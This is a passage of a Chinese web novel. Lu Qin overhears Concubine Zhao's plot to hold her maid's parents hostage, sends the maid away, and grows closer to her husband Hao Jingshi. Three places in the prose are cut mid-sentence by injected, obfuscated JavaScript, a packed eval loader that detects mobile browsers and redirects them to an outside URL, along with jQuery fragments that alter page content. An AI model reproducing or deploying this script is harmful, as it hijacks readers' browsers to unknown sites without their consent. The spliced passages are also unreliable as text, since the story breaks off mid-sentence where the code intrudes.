再说两人字迹不同,郝老夫人又不傻,自然能分辨出来。 “是。”芝兰只好去帮她捶捶肩,又翻出几盏蜡烛一起点上。 鹿芩一刻不敢歇,一口气抄到了后半宿,只觉得腰酸背痛,头昏眼花,五指颤抖。 虽说她这几天身子好些了,不像以前那般吊着口气,但也还是虚弱,经不起这样熬大夜折腾。 芝兰看出她力不从心,皱着眉头劝道:“小姐,不如还是歇歇吧,身子要紧,奴婢去和郝老夫人求情,老夫人不会不近人情的。” 鹿芩摆摆手:“不用,这个时候别去打扰老夫人了,我歇歇就好了,没那么不争气。” 说罢,她揉了揉太阳穴,想起身来走走。 谁知站起身的一瞬间,她忽然脑子一沉,不争气地仰面倒了下去。 …… “吱呀”。 微弱的声响传进耳朵。 鹿芩逐渐恢复了意识,睁眼醒来时,她发现自己躺在冰冷的地面上。 四处寂静又昏暗,她茫然地坐起来,慢慢想起,刚刚似乎是抄书累的昏倒了,然后就…… 又穿越了? 借着一缕淡淡的月光,鹿芩环顾四周,分辨着眼下这个地方。 雕花几案,弧形的通口,梳妆台,床前摇曳的月影纱,床上叠的整齐的被子…… 果然,又是熟悉的地点,熟悉的配方,她回到鹿府来了。 依然是在她的闺房,屋内的陈设一点都没变。 抱着习以为常的心态,鹿芩站起身走了几步。 门窗紧闭着,她趴窗望了望,闺房附近的这一片都是漆黑的,不过没过多久,她便远远看着一星光亮,似乎是有巡夜的家丁提着灯笼路过。 怕被发现,鹿芩赶忙远离了窗口,站在死角处看着。 那光亮越来越近了,还伴随了一阵低语。 “娘,你是说,郝景时可能发觉了什么,所以才要买下咱们的铺子?” 隐隐听见郝景时的名字,鹿芩顿了一下,稍往前挪了挪。 一高一矮两个身影正缓缓朝着这边来着,她眯眼一看便知道,那高个子外八走路的是鹿鸣。 那么跟在鹿鸣身边,被他喊“娘”娇小的女人,便是赵姨娘了。 鹿芩巴望着,赵姨娘可谓是千娇百媚,桃花眼,樱桃小嘴,乍一看不像鹿鸣的娘,倒像长姐。 不过,她比以前丰腴了,看来是日子过得很滋润了。 “傻小子,你小点声。” 赵姨娘赶紧把他拉到一旁,谨慎地望了望四处,“知不知道隔墙有耳。” 好一个隔墙有耳。隔着墙的鹿芩心虚地扯了扯嘴唇。 每次穿回到鹿府,她都能有点意外收获,这次居然也不例外。 “娘,你就放心吧。”鹿鸣得意地拍拍胸脯,“我都探过好几次了,鹿芩这屋肯定不会有人来的。” 听到他这么说,又见这么久了确实没人经过,赵姨娘才放心了一些。 她拍了两下儿子的肩膀:“你也是,稍微多给你点好处你就丢了脑子,说卖就卖,也不细想想。” 鹿鸣完全没了在下人面前的威风劲儿,难为情地嘀咕:“娘,你也知道,长乐坊追着我要钱,我手头实在有点紧,这不是刚好……” “没出息!”赵姨娘瞪着他,连生气的样子都很惹人怜爱,“等得了钱还了债,你就给我收手,再也不许去了,听见没有!” “知道了。”鹿鸣老老实实低下头。 看着儿子那副知道错了的样子,赵姨娘无奈,也不忍苛责了,于是转了话题,“罢了,不说这个。” 她又缓缓分析道,“你想想,那小子之前还扬言死都不娶,还敢在新婚之夜整宿不归,如今怎么就对鹿芩百般照顾,又给她治病又愿意替她受罚,这其中肯定是有问题。” 鹿鸣听了,半悟半醒:“莫不是……鹿芩耍了什么花招,让郝景时来对付咱们?” “肯定是。”赵姨娘一手轻敲另一手手心,道,“本以为鹿芩嫁进郝家会备受折磨,没成想这丫头聪明的很,反倒拿住了夫君。” 鹿鸣急了,“娘,你倒是想想办法,眼看着我爹的身子骨越来越差了,鹿芩不死,我爹的钱可就得分她一份!我那边欠下的赌债可就还不完了!” “急什么,有娘在呢。”赵姨娘不紧不慢地压着声音道,“现如今看来,有郝景时在,咱们便难以置鹿芩于死地。” “看来要另想办法了。” “另想办法?”鹿鸣愁容不改,“可这铺子卖了,玉桂也已经被赶出府了,咱们往后没了郝府消息,怎么动手?” “这玉桂是被赶出郝府了,但芝兰还在啊。”赵姨娘拉着长音虚声道。 “芝兰?”鹿鸣不解,“她可是爹买回来的丫鬟,对鹿芩忠心耿耿的,能给咱们办事吗?” 赵姨娘意味深长地笑了。 “儿子,芝兰的母家也有老有小的呢。” “明天一早,你快马加鞭去芝兰的老家,将她的父母带过来软禁。芝兰懦弱怕事,不敢不听从。” 鹿鸣在原地愣了一下,喜笑颜开了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283121|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“还是娘聪明!” 一身鸡皮疙瘩突兀地起来了,鹿芩听着听着,忍不住在心里骂了一句。 这个死赌鬼鹿鸣和蛇蝎心肠的赵姨娘,害她不说,还要扯上无辜的人。 眼看这二人提灯离开了,鹿芩心头急得不行,转头就撞了墙要穿回郝府去。 来不及了,明早鹿鸣就要出发,她得先一步告诉芝兰,让她连夜带着父母离开这里,到安全的地方去。 …… 脑子昏昏沉沉的。 醒来时,鹿芩听见芝兰在耳边喊了她一声“小姐”。 她睁开眼睛,茫然地一扫四处,发现天居然已经蒙蒙亮了。 “小姐,你醒啦。”芝兰凑过来,松了一口气,“你昨晚累的晕过去了,奴婢就找了姑爷来,姑爷说……” 看到芝兰的脸,鹿芩一个激灵想起来了什么。 不好! 天要亮了,鹿鸣一会儿就要出发了! 她没心思听芝兰说了什么,一股脑撑着坐了起来,准备穿鞋下地。 结果一挪腿,猛地踹到了什么东西。 被踹到的“东西”忽然动了动,鹿芩愣了一下,这才发现身边还趴着个在睡觉的郝景时。 “……”郝景时迷茫地起身,似乎有了起床气,“没看见小爷在睡……” 说着,和不明所以鹿芩对上了眼。 两人都呆了一下。 随即鹿芩瞬间又想起来正事,赶紧穿鞋下地。 “姑爷在这守了你一夜。”芝兰以为她是担心女则没抄完,赶紧扶了她一把追过去,“小姐,你别急,姑爷说他一会儿就去回禀了老夫人,等小姐身子好了再抄写,什么时候抄完什么时候送去便是。” 鹿芩来不及解释,自顾自地翻箱倒柜,往包袱里面塞着金银衣物。 她把东西扔的乱七八糟,郝景时听到这动静,也揉着睡眼不耐烦地站了起来,这时恰巧一个纸团飞了过来,正中他脑门,又掉到地上滚了一圈。 郝景时“嘶”了一声,捡起来拆开。 白纸黑字赫然写着“郝景时是傻叉”。 “……” 虽然不懂傻叉是什么意思,但他笃定这不是什么好词。 他扭过头,见她三下五除二地收拾出一个行囊,忽然清醒了些,起床气也消了几分。 “芝兰,你拿着这个。”鹿芩把行囊往芝兰怀里一塞,顾不得解释便推她走,“快走,离开这里,回家,快快快。” 芝兰被推搡了一下,挪了一步,傻眼了:“小姐,你这是干什么呀……睡懵了?” 郝景时捏着皱皱巴巴的纸,也莫名其妙道:“小爷那会儿不过是逗了你两句,至于赌气回娘家吗?” “快走呀!”鹿芩急得拉着芝兰往外跑,嘴上连珠炮似的解释,“玉桂被赶出去以后赵姨娘没了探消息的人,他们打算威胁你做事天亮就要派人去寻你的父母了,你务必赶在他前面不然来不及了!” 她语速和步伐都太急太快,芝兰听的晕晕乎乎的,跑的也晕晕乎乎的。 “你睡出癔症了?穿个里衣往外瞎跑?” 郝景时见状一个箭步冲到门口,拦在鹿芩前面。 “什么赵姨娘?你跟周公打听来的?” “……”鹿芩知道跟他解释不清,索性一把抓住他的双手,目光楚楚道,“夫君,你让玄岚送她出城,要最快的马,回来我再和你解释。” 郝景时僵了一下,往后缩了缩头:“你、你别卖关子,现在就给小爷解释。” “来不及了!”鹿芩一咬牙,腔调更像哭腔了,“夫君,算我求你了!回来以后你让我怎样都行!” 又来了…… 还说自己没哭唧唧的。 郝景时无可奈何,一甩袖子抽回了手。 “知道了,你赶紧躺回去吧。” 11. 第 11 章 郝景时出去喊玄岚备马,趁着这个功夫,鹿芩也没闲着,披了外衣,开始嘱咐芝兰。 芝兰还是不明白小姐为何说胡话,还要赶自己走,以为是她嫌自己愚钝,伺候的不好,便跪下求情。 鹿芩知道芝兰是个死心眼的,索性灵机一动说,骗她说自己偷偷学了算卦,算的出吉凶,果然把芝兰骗住了。 “你对我忠心,我都明白,正因如此我才不能连累你和你的家人。”鹿芩道,“不必担心我,有夫君在,赵姨娘不敢把我怎么样。” 芝兰听后,感激涕零,扑通一声跪在地上。 “小姐大恩大德,芝兰永生难忘。芝兰走后,小姐要顾好自己的身子。” 她深深叩头:“芝兰拜别小姐。” 玄岚挑了最快的千里马送芝兰出城,马跑了一会儿便没了影子,鹿芩见状悬着的心总算是落地了。 这样一通忙活后,她吊着的精气神忽然散了,熬过大夜的虚弱无力感又浮上来了。 见她脸色极差,神思游离地站在一旁,郝景时便把她送回了寝室,自己一个人去给父母请安。 鹿芩就这样在寝室里一个大觉睡到了傍晚,睁眼时,天色已暗,落日昏黄,寝室里除了她便没有旁人。 隔了一会儿,有人敲了敲门。鹿芩欣喜了一下,但发现进来的是一个眼生的丫鬟,说是奉少爷之命给她送饭,放下东西便走了。 四处又安静下来了,鹿芩瘫在床上,仰面朝天,一种孤独感蔓延上心头。 恶毒的姨娘,好赌的哥,被迫送走的忠仆,指不定什么时候就会冒出来的杀手,还有孤苦伶仃的她…… 苍天啊,为什么要这样对她。 得抓紧时间再培养一个亲信了,不然以后的日子可怎么过啊! 鹿芩忧愁没有人选之时,偌大的寝室飘开了饭菜的油香味,她鼻尖一动,口水分泌,肚子也咕噜噜地抗议起来了。 不管了,郝府那么多丫鬟,总不可能都是赵姨娘的眼线。 事已至此,先吃饭吧。 …… 夜里,月明星稀。 鹿芩在床上辗转反侧,虽说外头有守夜的丫鬟和家丁,但她心里还是不踏实。 万一她睡着睡着觉,房里就来了个刺客…… 万一郝府还有别的赵姨娘的眼线,借着守夜的名义进来掐死她…… 嘶。 苦苦想了半天破局之法后,鹿芩发现眼下唯有一解—— 她穿了鞋披了外衣鬼鬼祟祟地跑到隔壁厢房张望。 为了不让人起疑,郝景时一般会在正房里洗漱,等熄了蜡烛以后再翻窗去厢房睡觉,第二天一早再翻进厅堂,装作自己起了但舍不得吵醒夫人样子,在这儿等着她过来。 郝府的家丁不知此事,因此见她跑出来还很诧异,也往里望:“少夫人,你在这看什么呢。” 鹿芩一见要露馅,赶紧胡诌:“啊,没事,和夫君闹了点不愉快,他就翻窗户出去了,我来看看在不在这儿。” 家丁听后,没有拦着。鹿芩悄悄把门扒拉开一条缝,贴近了往里看。 郝景时果然还没睡,一手支着头在看书,他的束发披散下来了,倒少了高傲的劲儿,多出几分稳重。 玄岚也在,他蹲在一旁,小心地给郝景时的膝盖上药,虽然隔着老远,但鹿芩还是被那磨红了肉的膝盖吓到了。 眼看玄岚蘸了蘸白色药粉,一点也不温柔地点在那裂着小口子的肉上……像开了疼痛共享,鹿芩忍不住“嘶”了一声。 这一声穿过安静的夜色,引起二人注意,二人纷纷扭头看她。 “少夫人?”玄岚顿了一下。 “一声不响的站那干什么,偷窥小爷?”郝景时扫了她一眼。 鹿芩见自己被发现了,便大大方方开门走了进来,嘿嘿地笑了:“夫君果真在这儿啊。那个,我来给夫君上药吧。” 听到这话,玄岚立刻把药瓶给了她,识趣地溜之大吉,还带上了门。 郝景时头也不抬道:“什么真在假在?” 鹿芩没答,走到他身边坐下了。 近距离看他那青一块紫一块的膝盖,只觉得疼疼疼疼哟疼。 她蘸了点药粉末,弯腰小心翼翼地点上去,“疼不疼?” 比起玄岚那五大三粗的上药方式,鹿芩的手法可是温柔多了,几乎没什么感觉。 郝景时顿了顿,被她这么一问,他心里忽然生出了一丝落寞。 每次罚完跪,他都不用人管,自己配药敷上,也没人问过他疼不疼。 “疼什么,小伤而已,过了一天了,都愈合了。”他掩饰似的低头看书,“你找小爷有何事?” “来给夫君上药啊。”鹿芩小心地帮他包好纱布,“我看玄岚下手太重,以后我来给夫君上药吧。” 郝景时不信,用鼻子哼了一声:“你昨日还说晒死小爷,今日又巴巴跑过来给小爷上药,你倒是翻脸比翻书还快。” 鹿芩放下药瓶,软绵绵地缠上他的胳膊:“昨日是昨日,今日是今日,夫妻斗嘴不是寻常事吗?不管怎样,你永远都是我的好夫君,上个药是应该的,哪怕夫君真断了腿,我也愿意照顾你一生一世。” “……”郝景时脊背僵了一下,噎住了。 若是拌嘴吵架,他自然不会输给鹿芩,但偏偏她又开始说花言巧语哄人的话,他一句也接不上。 “少、少来这套。”郝景时啪地合上书,抽开手,往后一仰靠在床头,“你若无事就回去吧,小爷也困了,要睡了。” 说着,他一翻身躺在枕头上,伸手去摸被子。谁知摸了半天,也没摸到被子一角。 郝景时猜到了什么,慢悠悠地扭过头,果然,鹿芩早就把被子抢走,裹在自己身上了,还目光坚毅地看着他,似乎在说“今日不达目的不罢休”。 他知道她肯定是有事相求,不然不会这样撒娇讨好赖着不走,于是重新坐起来,抱起了双臂。 “到底何事?有话快说。” 鹿芩嘿嘿一笑,把被子松开了:“夫君先答应我我再说。” “无赖,你不说小爷怎么答应。” “那意思是我说了夫君就会答应咯?” “小爷是那意思吗?” “夫君……”见没忽悠成,鹿芩只好用绝招,双手合十,眼眸亮晶晶的望着他,“你最好了,不是什么大事,你就答应我呗。” 她越凑越近,身上的甜香也扑鼻而来,郝景时一下子耳尖血红,错开目光,清了清嗓子道:“看、看在你给小爷上药的份上,小爷考虑考虑吧。” “太好了!夫君真好! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283122|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱你哟!” 鹿芩说完,高兴的嚷嚷起来,像一溜烟似的跑了。 郝景时见她那欢脱的背影,有点懵了:“喂,你干嘛去,小爷说的是考虑考虑,还没说——” 话说一半,鹿芩又一溜烟似的跑回来了,嘴里碎碎念着,打断了他的话,还抱了一床被子。 “夫君可答应了哈,以后不再分什么楚河汉界,就睡一屋。” “夫君,人家早就想说了,人家一刻都不想离开你,离开你都睡不着觉。” “?” 郝景时呆在原地看着她,本来发懵的俊脸抽搐了一下,倏地像被烧了的柴火一样烫起来了。 “什、什么呀?”他胡乱一挥手,“你这,你,小爷什么时候答应了?” “我跟家丁说你是赌气才跑出来睡的,可没有露馅哦。”鹿芩无辜地望着他,实际上嘴角带着略带威胁的坏笑,“夫君,你真不答应人家吗?万一公婆知道这事了……” 她不说后半句了,把被子丢在床上后,又跑出去、跑回来,抱来个枕头。 郝景时看着她又进又出,急道:“你以为小爷怕吗?小爷不过是懒得听他们唠叨。” 鹿芩才不管他说了什么,又一出一进抱着个竹席回来了,顺带着“啪”地凶狠地关上了门。 见她朝自己走过来,丢下竹席,朝这边俯身下来,郝景时立马变了个无所谓的表情,实则默默地捏紧了被子一角。 “这可是你非要和小爷睡觉的,小爷也没办法,但是你身子还没调理好,要不还是……” 话说到一半,他就见鹿芩地张开双臂——从他旁边抱走了一坨被子转身打起地铺。 “还是什么?”鹿芩一边忙活一边疑惑地问。 见她把地铺打的平整,郝景时扶额,到嘴边的话生生咽了下去:“没什么,睡觉。” 他说完别别扭扭的躺下了。 鹿芩不明所以地望了他一会儿,见他躺的很僵硬,恍然大悟道:“哦,夫君不用担心我,没关系的,你睡你的床,我睡地铺就好了,只要夫君在我旁边,我就能做个好梦。” 说完,她钻进被窝,还朝他甜美地笑了笑。 “挺暖和的,也不是很硬,真没关系的。” “…………”郝景时翻了个身,“你不怕身子睡散架就睡地下吧。” 鹿芩嗯了一声,也翻了个身背对着他,满足地闭上眼睛,随后就没动静了。 寂静的夜里传来一声狗吠。 两声。 隔了一会儿,狗越叫越欢了,似乎是厮打了起来,郝景时还没睡着,忍不住扭过头去看地下。 一方小竹席里,鹿芩背对着他,裹紧被子,在地上瑟缩成一团。 薄薄的凉被下透出她一起一伏的瘦弱脊背,她呼吸均匀,看样子是已经睡着了。 郝景时对着她的身影发愣了一会儿,最终,忍不住从床上下来了。 他走过去,看见了鹿芩像婴儿一样毫无防备的面容,不是那撒娇不嫌害臊的样子,也不是那伶牙俐齿怼他的样子。 他躬身一把抱起她,轻轻把她放到了床上,重新给她盖严实被子,自己则躺在了她打的地铺里。 他把被子拽过来盖上,瞥了她一眼,轻哼了一声。 “小爷真是上辈子欠你的。” 12. 第 12 章 次日清早醒来时,鹿芩发现自己居然睡在了床上,而郝景时则不见了踪影。 她吓得弹坐了起来,摸了摸身上的衣裳,还好是完好的。 这是怎么回事。 鹿芩觉得奇怪,一度怀疑自己是不是梦游。 但她没好意思去问郝景时,只当做无事发生。 随后几日,两人都“和平共处”地睡在一个房内,鹿芩照旧在地铺上睡觉,但每次醒来时,她都发现自己躺在床上。 这天请安回来,她终于忍不住问郝景时了。 “那个,夫君,我是不是经常梦游啊?我明明是在地铺上睡的,怎么一醒来就到床上了。” 郝景时顿了一下,摸摸鼻子,随口回答:“小爷让人把你抬过去的,反正小爷睡醒了,那床也没人占着。” 鹿芩哦了一声,不再追问,照常露出甜美的笑容,送他出府。 转了身后,她暗暗决定探清楚究竟。 郝景时的话,她是不信的,因为她觉得以郝景时的性子,是见不得一个病人躺在梆硬的地上睡一宿的。 虽然大概猜到了是怎么回事,但她还是想去确认。 确认是郝景时把床让给了她。 也确认……她真的开始了解郝景时了。 当晚,月影朦胧,鹿芩照旧缩进地铺的被窝里,郝景时没有管她,自顾自地盖了被子睡觉。 鹿芩悄悄回头过几次,但发现他无动于衷,还有些失望,以为是自己猜错了。 但没过多久,她便听见了窸窸窣窣的声音,大概是郝景时下床了。 鹿芩听着越来越近的脚步,克制住了紧张的吞咽声。 郝景时俯下身,影子笼罩住她,在原地观察了片刻,似乎是确认她睡着了以后,才将她横抱了起来。 鹿芩尽量让自己放松,像睡熟时无意识的样子,由着他的动作,歪着头靠在他怀里。 耳朵贴着他的胸膛的那一刻,她清楚地听见了他胸腔里有力的心跳声。 很近,很烫人,她瞬间浑身紧绷,有些紧张地拽着他的衣裳一角,开始乱了呼吸。 好在郝景时似乎没有察觉到什么,只是慢慢将她放在床上。 脑子一片空白,眼看要与他面对面,鹿芩维持着均匀的呼吸,调整着自己胸口的起伏,却忘了自己还攥着郝景时的衣角。 衣裳这股绷着的力气让郝景时感觉到了不对,停滞了一下。 他伫立在一旁,没有立刻就走,而是默默了一会儿,又掰开她的手指拽了拽那片衣角。 指尖的摩擦让鹿芩瞬间心里砰砰直跳,紧张之下,眼皮不受克制地颤抖了,不小心睁开了一条缝。 郝景时正垂头整理衣角,表情淡淡的,在夜色里看不真切,不似平常那般尖锐有棱角。 他披散的长发滑落下来几缕,搭在她的臂上,酥酥麻麻的。恍恍惚惚间,竟然让人觉得有些温柔。 似乎是感觉到她目光的烧灼,他眼神没来由地瞥向她了一下。 两人都呆了一秒。 鹿芩心头一颤,赶紧佯装砸吧砸吧嘴,翻了个身,扯了一下被子盖在身上。 她知道这次她的演技有些拙劣了,因此屏住呼吸不敢动弹,像心虚一样。 隔了一会儿,郝景时笑了一声,还是平时那上扬的天不怕地不怕的调调,给她掖了掖被子,随即挪动脚步离开这里,回到地铺那边躺着去了。 衣服和竹席一阵摩擦后,耳边变得安静至极。 也不知道他刚刚在笑什么。 鹿芩觉得他大概是发现自己在装睡了,只是没有戳穿。 她没有了心里负担,缓缓松了口气,悄悄用被子抹掉额头沁的汗珠,小心翼翼地换了个舒服的姿势。 冷不丁地,听到郝景时说道:“以后你睡床,省的小爷抱你了,怪沉的。” 鹿芩喉咙紧了一下,没发出声。 她悄悄扭过头去,看着地上那个身影,他偏着身子,用胳膊垫着头,被子也不好好盖着,只堆在腰侧。 虽然这话有点气人,但她心里并不觉得生气,反而好像有一种奇怪的悸动。 隔了一会儿,她对着那身影小声说道:“谢谢夫君。” …… 翌日。 地铺已然空荡荡的,鹿芩才起没多久,对着梁顶发呆时,忽然有人扣门。 “少夫人,少爷吩咐奴婢来给您送饭。” 鹿芩回过神:“进来吧。” “哎。” 门被人推开了,随声音一起进来的是个丫鬟,身穿素衣,梳着和其他丫鬟一样的发髻,脸上还长着两个甜甜的酒窝。 她俯身请安,举动透着机灵巧劲儿:“给少夫人请安,奴婢名叫菱儿,往后奴婢来伺候少夫人,少夫人有什么吩咐,尽管跟菱儿说。” 菱儿,果然人如其名,看着比芝兰机灵,就是不知道忠心能不能比过芝兰。 鹿芩点点头,示意她起来,开始试探她的底细:“菱儿,名字真好听,你家是哪的?” 菱儿道:“奴婢家在水乡,十分偏远,母亲喜欢吃菱角,便给奴婢起了小名叫菱儿。” “那你怎么来这里了?” “奴婢是被人贩子卖到这来的,好在是被卖来了郝府,不曾被苛待。” 菱儿一边笑眯眯地说着,一边利索地把饭摆在桌上。鹿芩听后忍不住一连拍了几下嘴巴。 呸,真该死啊。 她下了地坐在菱儿面前,捧场吃饭缓解愧疚:“你在郝府伺候多久了?” “有五六年了,一直伺候老夫人,听说您的陪嫁都不在身边了,老夫人便派了奴婢来贴身伺候。” 菱儿说着,殷勤地为她布菜,“这碗燕窝是老爷在外谈生意时带回来的,听说是最珍贵的品种,少爷说给您热了吃,可进补身子,您多吃几口。” 少爷吩咐,少爷说,不知道为什么,从前没觉得,如今再听这两个字,总会觉得有点燥得慌。 鹿芩的手顿了一下:“夫、夫君呢?怎么没见他,他吃过了没有。” 菱儿笑道:“吃过了。少夫人忘了,少爷今儿要去官府拿地契,所以一早就先走了。” 鹿芩点点头,一勺勺舀着燕窝吃,心想这菱儿看起来没什么坏心眼,应该还算可靠。 至于是不是真的可靠,还需要靠实践来得出真知。 她放了碗筷,正色说道:“菱儿,帮我办件事。” 菱儿答:“能得少夫人青睐,是菱儿的福分,您尽管吩咐,菱儿一定尽心去办。” “你去西城街,找到一家姓赵的工匠,跟他约了时间,来给咱们的新铺子装修。”鹿芩微笑道,“再去鹿府,给我爹捎一封家书,就说我身子好多了,不必挂念,近日有事要忙,不便回府看他,还请他不要怪罪。” “是。” 菱儿说罢,爽快地退下了。 菱儿走后,看着眼前色香味俱全的佳肴,鹿芩忍不住动了筷,但转而想了想,又去匣子里拿了根银针,挨个儿把菜扎了扎。 没有变黑,能吃。 鹿芩这才放心地大快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283123|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朵颐。 没办法,最近事情太多,都有点被害妄想症了。 虽说是早膳,但菱儿也端来了不少盘菜市,鹿芩每个都爱吃,都有些吃不过来了。 她吃的正香,摇头晃脑时,忽然有人从身后敲了下她的脑袋。 “晃什么,饭里有毒?” 这损损的反问句,鹿芩用脚趾都能想到是谁。 “夫君这么快就回来了。”她鼓着腮帮,看都没看他,又赶紧多吃了几口。 郝景时把地契甩到桌上,从盘里捡了一块豆糕咬了一口:“签个字画个押的功夫,若不是你这大哥废话连篇,小爷还能再早些回来。” 听到这个评价,鹿芩点头深表赞同。 “他就那样,见了人就显摆自己去长乐坊的那些破事。” 郝景时伸手拿了茶壶,给自己倒了杯茶,端起来到嘴边:“倒不是说这个。” “那说什么?” 鹿芩一边埋头苦吃,一边敷衍着他的话,其实鹿鸣说什么她都不在乎,只是想当个乐子听听,下饭罢了。 见她不太关心,郝景时便用了些力气放下茶杯,似笑非笑地说道:“说他有个妹妹,也待嫁闺中,问我愿不愿纳了她,好来个亲上加亲。” “哦。”鹿芩一耳朵听一耳朵冒,忽然噎了一下,才听明白他说的是什么,“啊?!” 让她那个眼高于顶只爱和达官显贵来往的庶妹鹿萍做妾? 嫁谁不行,还非要做郝景时的妾来恶心她? 鹿鸣他丫的有病吧! 她好不容易过几天安生日子! 鹿芩说不上来是什么心情,反正一下子没胃口了,她能猜到,这样的事鹿鸣也做不了主,八成又是赵姨娘的主意。 这不仅是来恶心她的,更有可能是换个方式来要她命的。 她忍不住问:“你……该不会是答应了吧。” “这样的玩笑话岂能当真。”见她忽然味同嚼蜡,郝景时诡计得逞似的眯眼,“不过如果是真的,小爷倒要考虑考虑。日子无趣,纳个有情致的小妾来伺候也好。” 鹿芩听后,翻了个白眼。还纳个有情致的小妾,那就是嫌她没情致了呗。 这个大猪蹄子,她真是猪油蒙了心了,光想着他挺讲义气的,却忘了他可能也是个花心的大猪蹄子! 鹿芩想着想着,越发觉得气不打一出来,本来还想臭骂郝景时是个渣男,但又想到古代男人三妻四妾很正常,他好像也没错。 于是她只能憋屈地把筷子一放,面无表情地回答:“那你快去纳吧,挑个良辰吉日,别再在新婚之夜跑了就行。” 听后,郝景时察觉到她有些恼了,便瞄了她一眼,没敢接话,继续吃着手里剩下的豆糕,嚼嚼嚼。 他鲜少在斗嘴时沉默不还嘴,鹿芩以为他是暗自铁了心要纳妾,便没再说话,又拿起筷子夹了菜塞进嘴里,也嚼嚼嚼。 原本可口的饭菜现在有些吃不出味了,她咽下一口,不太想吃了,忍不住又看了一眼郝景时。 郝景时手里那一块豆糕还没吃完,还在嚼嚼嚼,见她看向自己,他顿了一下,以为她也想吃,就又从盘中拿了一块递到她面前。 鹿芩看着他递过来的有点泛绿的豆糕,觉得莫名窝火,但又无处可撒,忍无可忍下,索性一股脑地抄起地契带走,愤然离席。 “你干什么去?” 郝景时手里还捏着豆糕,见她要走,赶紧在身后喊了她一句。 不过,鹿芩并没有理会他,大步大步地径直出门去了。 13. 第 13 章 鹿芩扬长而去,让郝景时有些云里雾里的,不知道她为什么要发脾气。 其实他并不想纳妾,他嫌身边人多太烦,刚刚那番话,是他故意说给她听的。 从成亲到现在,鹿芩一直表现出对他情根深种的样子,撒娇卖萌,情话连篇,他都半信半疑,但昨晚过后,他觉得好像有什么东西不一样了。 她拽着他的衣角,紧张到不小心睁开眼偷看他,小声地跟他道谢……那种很微妙的气氛,他们之前好像从未有过。 他渐渐猜到鹿芩大概是故意没睡,在等他抱她回去的。 他本来摇摆着的心,忽然开始偏向于相信她的感情真的。 但…… 不是说超爱他吗,她难道不应该吃醋,和平常一样眼泪汪汪地跟他说夫君你不要纳妾吗? 怎么和他想的不一样啊。 郝景时望着已经空无一人的门口不解时,玄岚从树上落下来,告诉他说:“少夫人大概是因为您要纳妾,所以心里不痛快,生了怨气。” 郝景时思忖了一下这话,恍然大悟——原来生气也是吃醋的表现。 他嘴角翘了起来,有些放心了,把她没接过的那块绿豆糕也塞进嘴里吃掉了。 他并不担心鹿芩真的生气,因为他觉得,等到他这个夫人遇到了棘手的事,早晚会哭唧唧地回来找他的。 …… 鹿芩其实很想把被子也抱走,再分开楚河汉界,但碍于自己身边还没个可信的人,怕被害了,就忍下了。 她照旧和郝景时同吃同住,在外人面前演着恩爱,两人独处时,她也会主动给台阶跟他说话,不让气氛太过沉闷。 此后,郝景时再没提过纳妾的事,她也没有紧咬不放,以为这事就算过去了。 没想到隔些天,身子好些后。 鹿芩抄完了女则给郝老夫人拿去。 老夫人收下她抄写的东西,和蔼地问了她近日的状态,还说要再多派几个尽心的人伺候着。 她正要乖巧地谢过时,老夫人却话锋一转,突然说教起她的责任,说什么正妻要有容人的气度,为夫君着想,不可过分嫉妒吃醋。 她只得好声应付着。 鹿芩猜测,是郝景时和家里提了纳妾的事,所以郝老夫人才会和她说这些话做暗示。 因为接受了当下男人三妻四妾的事实,她这次倒没太大的怒气,只是心里像被棉絮堵着,不疼不痒,但也不舒坦。 纳妾纳妾,他们成亲才多久,搁现代连个蜜月都没度完。 这个花花肠子,她好歹也算沉鱼落雁闭月羞花,他就这么不喜欢她,非要猴急着加个旁人进来。 鹿芩不爽,不过“花花肠子”郝景时倒是像没事人,还是整日守着医馆,只有用膳时和睡觉时会回府。 他回来了也是看书,偶尔问问衣铺的事,没提过纳妾。 一见到他那若无其事的样子,她心里就犯痒痒。 随即铺子开始装修,鹿芩忙碌起来,索性把郝景时丢在脑后不搭理他了。除了让他画个传单以外,她很少有主动找他说笑的时候。 隔些日子,芝兰送了信回来报平安,鹿芩看后心里踏实了不少,回了信让她好好生活。 虽说芝兰走了,但现在有菱儿在,她也不至于无聊了没人说话。 菱儿办事很周到,不仅请来了工匠,还把方圆十里内手艺最好的裁缝也打听了来,跟她一一汇报。 铺子装修的同时,鹿芩还跑遍了菱儿打听过的裁缝铺去拜访。 为了安全起见,她特意带走了几个人高马大的家丁,护送她赶到裁缝铺,将郝景时画的那些衣稿拿去给他们制衣。 她的衣铺与旁人不同,旁人的衣铺需先挑选布料或提供面料,再根据身材尺寸制作,做工精细缓慢,定制时间久,价格也昂贵些;而她的衣铺是少有的成衣铺,衣裳不求过分精致合身,更偏向于方便快捷,即买即拿,还物美价廉。 